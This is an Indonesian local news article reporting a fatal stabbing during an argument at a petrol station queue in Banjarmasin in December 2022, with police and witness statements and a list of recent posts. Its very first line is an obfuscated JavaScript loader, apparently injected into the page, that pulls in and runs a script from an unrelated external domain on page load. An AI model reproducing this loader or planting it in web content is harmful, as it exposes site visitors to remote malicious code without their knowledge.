(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ribut di SPBU Lingkar Selatan Banjarmasin, Korban Ditusuk hingga Tewas


KANALKALIMANTAN.COM, BANJARMASIN – Seorang lelaki di Kecamatan Banjarmasin Barat, Kota Banjarmasin dilaporkan tewas usai terlibat perkelahian di kawasan SPBU, Jalan Gubernur Soebarjo, Kecamatan Banjarmasin Selatan, pada Jumat (16/12/2022) malam.

Korban MD (35) dihabisi oleh seorang lelaki yang sama-sama sedang mengantre BBM.

Kapolsek Banjarmasin Selatan, Kompol Eka Saprianto menyebutkan, perkelahian ini berawal dari pertanyaan pelaku mengenai terpal penutup bak truknya yang robek.

“Permasalahan dipicu oleh pertanyaan pelaku terpal penutup bak truknya yang robek, korban merasa tersinggung atas pertanyaan pelaku, kemudian ia mendorong pelaku,” ucap Kapolsek Banjarmasin Selatan, Kompol Eka Saprianto.

 

 

Baca juga: Sisi Gelap Bundaran Simpang Empat, Ikon Banjarbaru yang Kerap Mengundang Rusuh!

Tak terima didorong oleh pelaku, lanjut Kompol Eka, pelaku pun spontan mencabut sebilah pisau yang diselipkan di pinggangnya kemudian ditusukan ke arah perut korban.

“Pisau ditusukkan sebanyak satu kali kearah perut korban, sehingga korban jatuh tersungkur,” katanya.

Namun, pelaku saat melihat korbannya jatuh akhirnya langsung melarikan diri.

Berangkat dari kejadian itu, akhirnya personil Polsek Banjarmasin Selatan melakukan pencarian dan menemukan kerabat pelaku, sehingga dilakukanlah pedekatan dengan pihak keluarga agar menyerahkan diri.

Baca juga: Kembali Luberan Sampah di TPS Cemara Sungai Miai Bikin Masalah

“Sebelumnya kita telah mendatangi TKP, setelah mendapatkan keterangan dari saksi yang melihat pada saat kejadian,” jelas Kapolsek.

Kapolsek Banjarmasin Selatan pun membenarkan jika pelaku menyerahkan diri dan saat ini diamankan di Polsek Banjarmasin Selatan guna mempertangungjawabkan perbuatannya.

Adapun saat kejdian diketahui korban MD (35) bersama dengan kakaknya Ato (50) sedang mengantre BBM di SPBU tersebut sejak sekitar pukul 17.00 Wita.

Saat itu korban sempat keluar dari truk, namun selang beberapa saat dirinya keluar. Korban ditemukan terkapar bersimbah darah di bawah truk fuso akibat terluka dibagian perut.

“Ya korban mengalami luka tusuk bagian perut dan saat itu langsung kita evakuasi menuju RSUD Ulin Banjarmasin,” ujar kamario, salah seorang relawan emergency saat diminta keterangan.

Namun naas saat dalam perjalanan menuju IGD kondiri korban pun diketahui semakin kritis dan akhirnya korban menghembuskan nafas di jalan.

“Sempat kritis, akhirnya korban dinyatakan meninggal dunia oleh tim medis RSUD Ulin Banjarmasin,” pungkasnya. (kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.